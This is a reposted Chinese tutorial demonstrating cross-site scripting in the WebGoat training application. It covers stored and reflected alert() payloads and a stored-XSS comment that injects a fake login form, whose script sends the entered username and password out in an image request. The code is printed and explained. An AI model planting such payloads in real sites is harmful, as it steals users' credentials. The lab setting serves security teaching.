当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

李白白之Cross Site Scripting (XSS) attack

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

什么是xss攻击,网上的定义如下:
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。
跨站脚本(Cross-site scripting,XSS)漏洞是Web应用程序中最常见的漏洞没有之一。
下面我们将从不同的xss分类结合webgoat项目一一演示。
3.1 stored xss
存储式跨站攻击,是xss中危害比较大的一种,它将脚本存入数据库。危害也将长久的留在页面中。

 步骤一上面的英文意思是用tom帐号登录,涛涛电脑知识网,tom完成xss攻击。Jerry访问tom的页面,就会受到危害。
我们用tom的帐号登录,然后选择tom,点击“viewprofile”,在然后点击“editprofile”
就到了以下页面:


 

随便一个文本框输入:<script>alert('ok')</script>。然后点击“updateprofile”
这时候这段脚本已经被执行,alert框会弹出来。这时候退出登录,更换jerry帐号登录后,选择tom用户,点击“viewprofile”。

 
出现如此页面这表明攻击成功。
我们再看反射性xss攻击
3.2 Reflected XSS attack
这是最常见也是最知名的XSS攻击,当Web客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中。传统的例子是站点搜索引擎,如果我们搜索一个包含特殊HTML字符的字符串时,通常在返回页面上仍然会有这个字符串来告知我们搜索的是什么,如果这些返回的字符串未被编码,那么,就会存在XSS漏洞了。
我们选择larry用户登录后点击“searchstaff”,然后将这段<script>alert('ok')</script>代码贴进去,涛涛电脑知识网,点击“findprofile”,这时脚本会被执行,有alert框弹出来。
好像到现在为止,给大家演示所谓的xss攻击无所谓网站上被挂了个框。其实挂框只能说明存在xss漏洞,黑客可以利用这个漏洞做很多事情,接下来我们会拿众多危害的一种作为演示。
3.3 stored xss之挂框获密码


这是一个有添加评论功能的两个文本框,一个标题一个内容,标题我们输入1,内容部分贴入以下代码:

<script>

function hack(){

    XSSImage=new Image;
    XSSImage.src="?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";
alert(XSSImage.src);
}

</script>

<form><br><br><HR><H3>This featurere quires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user"name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 


点击“submit”,显示如下:

 Message列表中出现一个title为“1”的一条评论,点击这条评论:

 出现了一个登录框,好像这个网站查看评论需要登录,但是一旦登录,你们帐号和密码就会自动发送给攻击者,让我们解读下这段代码:

<form><br><br><HR><H3>This featurere quires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user"name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 
这段代码是说,首先创建了两个文本框,一个是id=users的用户名,另一个是password框。然后还有一个提交按钮,按钮事件包含一个hack(),hack()方法的内容如下:

<script>

function hack(){

    XSSImage=new Image;
    XSSImage.src="?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";
alert(XSSImage.src);
}

</script>

这段代码解读起来是这样:首先创建一个Image对象,XSSImage.src的意思是设置或返回图像的URL,而URL配置的内容就是泄漏的帐号和密码;alert(XSSImage.src)这句话是用例验证我们已经获取到了帐号和密码,可以去掉,对攻击无用处。我们输入帐号和密码提交后,如下图:

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1